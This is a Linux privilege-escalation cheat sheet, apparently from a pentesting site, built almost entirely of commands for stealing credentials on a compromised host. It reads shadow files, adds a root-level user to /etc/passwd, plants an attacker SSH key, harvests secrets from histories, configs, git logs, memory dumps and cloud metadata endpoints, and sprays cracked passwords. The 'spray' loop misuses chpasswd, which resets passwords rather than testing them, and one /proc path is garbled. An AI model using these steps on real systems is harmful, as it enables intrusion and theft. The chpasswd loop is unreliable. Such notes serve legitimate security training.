PrivEsc - Credentials & Files

Sections PrivEsc - Credentials & Files

When privesc isn’t a privilege bug but a credential lying around. Always check these in parallel with 06-10.

i. Shadow and passwd

Shadow readable, game over, crack offline:

ls -la /etc/shadow
cat /etc/shadow 2>/dev/null
## Or the backup most admins forget:
cat /etc/shadow- /var/backups/shadow* 2>/dev/null

Crack with hashcat, see Password Cracking for hash modes ($1 = MD5crypt -m 500, $5 = sha256 -m 7400, $6 = sha512 -m 1800).

Passwd writable, add a UID-0 user directly:

ls -la /etc/passwd
## If writable:
openssl passwd -1 -salt x 'pwn'           ## generate $1$x$... hash
echo 'pwn:$1$x$HASHHERE:0:0:root:/root:/bin/bash' >> /etc/passwd
su pwn

ii. SSH keys

User SSH directories often readable:

ls -la /home/*/.ssh/ 2>/dev/null
ls -la /root/.ssh/ 2>/dev/null
find / -name 'id_rsa*' -o -name 'id_ed25519*' -o -name 'id_ecdsa*' 2>/dev/null
find / -name 'authorized_keys' 2>/dev/null

Encrypted key, crack the passphrase:

ssh2john id_rsa > k.hash
hashcat -m 22921 k.hash "$WL"

Drop your own key into another user’s authorized_keys if writable:

ls -la /home/<user>/.ssh/authorized_keys
## If writable (or .ssh is your-writable):
echo 'ssh-ed25519 AAAA... attacker' >> /home/<user>/.ssh/authorized_keys
ssh <user>@localhost

iii. Bash history of other users

History often has commands containing passwords typed inline (mysql -u root -psecret):

find / -name '.bash_history' -readable 2>/dev/null
find / -name '.zsh_history' -readable 2>/dev/null
## /root/.bash_history is the dream
cat /root/.bash_history 2>/dev/null

Other shell-state files:

find / -name '.lesshst' -readable 2>/dev/null    ## less search history
find / -name '.viminfo' -readable 2>/dev/null    ## vim recent file paths and yank buffer
find / -name '.mysql_history' -readable 2>/dev/null
find / -name '.psql_history' -readable 2>/dev/null
find / -name '.rediscli_history' -readable 2>/dev/null

iv. Mail and notifications

Often skipped, often contains creds in welcome emails or password reset messages:

ls -la /var/mail /var/spool/mail 2>/dev/null
cat /var/mail/root /var/mail/* 2>/dev/null

v. App configs with hardcoded creds

Web app configs are the classic:

find /var/www -type f \( -name '*.php' -o -name '*.py' -o -name '*.js' -o -name '.env' -o -name 'config*' \) 2>/dev/null | xargs grep -lEi 'password|api_key|secret|token' 2>/dev/null

Common files to read directly:

cat /var/www/*/wp-config.php 2>/dev/null            ## WordPress
cat /var/www/*/configuration.php 2>/dev/null        ## Joomla
cat /var/www/*/.env 2>/dev/null                     ## Laravel, generic
cat /opt/**/application.properties 2>/dev/null      ## Spring Boot
cat /opt/**/settings.py 2>/dev/null                 ## Django
find / -name 'web.config' 2>/dev/null               ## ASP.NET, even on Linux

vi. Database dumps and backups

find / -type f \( -name '*.sql' -o -name '*.db' -o -name '*.bak' -o -name '*.backup' \) 2>/dev/null | head
find / -name 'dump*' -o -name 'backup*' 2>/dev/null | grep -v "/proc\|/sys" | head
## Common dump locations:
ls -la /var/backups/ /backup /backups /opt/backup 2>/dev/null

Read MySQL data files directly if you have read on /var/lib/mysql:

ls -la /var/lib/mysql/mysql/user.*       ## newer MySQL stores hashes in user.ibd, need mysql to read
ls -la /var/lib/mysql/*/users.MYD        ## MyISAM, can be read with file dump

vii. KeePass and password manager files

find / -name '*.kdbx' 2>/dev/null
find / -name 'passwords.*' 2>/dev/null
find / -name '*.gnupg' -type d 2>/dev/null
find /home -name '*.kdbx' -o -name '*.kdb' -o -name 'passwords.txt' 2>/dev/null

Crack the KeePass DB:

keepass2john db.kdbx > kp.hash
hashcat -m 13400 kp.hash "$WL"

viii. Service credentials in process arguments

If a daemon was started with creds in argv, ps shows it:

ps auxf | grep -E 'password|pass=|--pass|user='
ps -eo pid,user,cmd | grep -iE 'password|secret|token'

ix. Memory dumps and core files

Core dumps may contain plaintext passwords from a service that crashed:

find / -name 'core' -o -name 'core.*' 2>/dev/null
ls /var/crash 2>/dev/null
strings core | grep -iE 'password|secret'

LSASS-equivalent on Linux: read /proc//maps and /proc//mem of a running auth service. Needs same UID or CAP_SYS_PTRACE:

gcore <pid>
strings core.<pid> | grep -iE 'pass|secret|token'

x. SSH known_hosts harvest

Reveals internal IPs the user has connected to, useful for pivoting:

cat ~/.ssh/known_hosts 2>/dev/null
## Hashed? Crack to reveal IPs, see [Password Cracking](https://jinpwn.dev/cheatsheets/misc/password-cracking/) -> SSH known_hosts.

xi. /opt and /srv

Custom application installs almost always end up here:

ls -la /opt /srv /usr/local 2>/dev/null
find /opt /srv /usr/local -type f 2>/dev/null | head -50
## Look for .env, config.json, application.yml, secrets.*

xii. Git repos on the box

Old commits often reset secrets but git keeps the history:

find / -name '.git' -type d 2>/dev/null
## In any found repo:
cd /path/to/repo
git log --all --full-history --source -- '*pass*' '*secret*' '*.env'
## Or simpler, grep history:
git log -p --all | grep -iE 'password|secret|api_key' | head

xiii. Cloud credentials lying on the box

Cloud-hosted boxes often have IAM creds in well-known paths:

ls -la ~/.aws/ 2>/dev/null
cat ~/.aws/credentials ~/.aws/config 2>/dev/null
ls -la ~/.config/gcloud/ 2>/dev/null
cat ~/.azure/* 2>/dev/null
## Cloud metadata service (when running on EC2/GCP/Azure):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/   ## AWS IMDSv1
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

xiv. Password reuse across users

When you crack one password, try it against every account:

## Get all users with shells:
getent passwd | awk -F: '$7 ~ /sh$/ {print $1}' > users.txt
## Spray locally:
for u in $(cat users.txt); do echo "$u:foundpass" | chpasswd 2>/dev/null && echo "WORKS: $u"; done
## Or test with su:
for u in $(cat users.txt); do echo "foundpass" | timeout 2 su "$u" -c id 2>/dev/null && echo "$u worked"; done
Reuse is the rule, not the exception

On real engagements, the same password lands you root somewhere else 80% of the time. On boxes, the foothold password is often the privesc password.

xv. After the cred, where to use it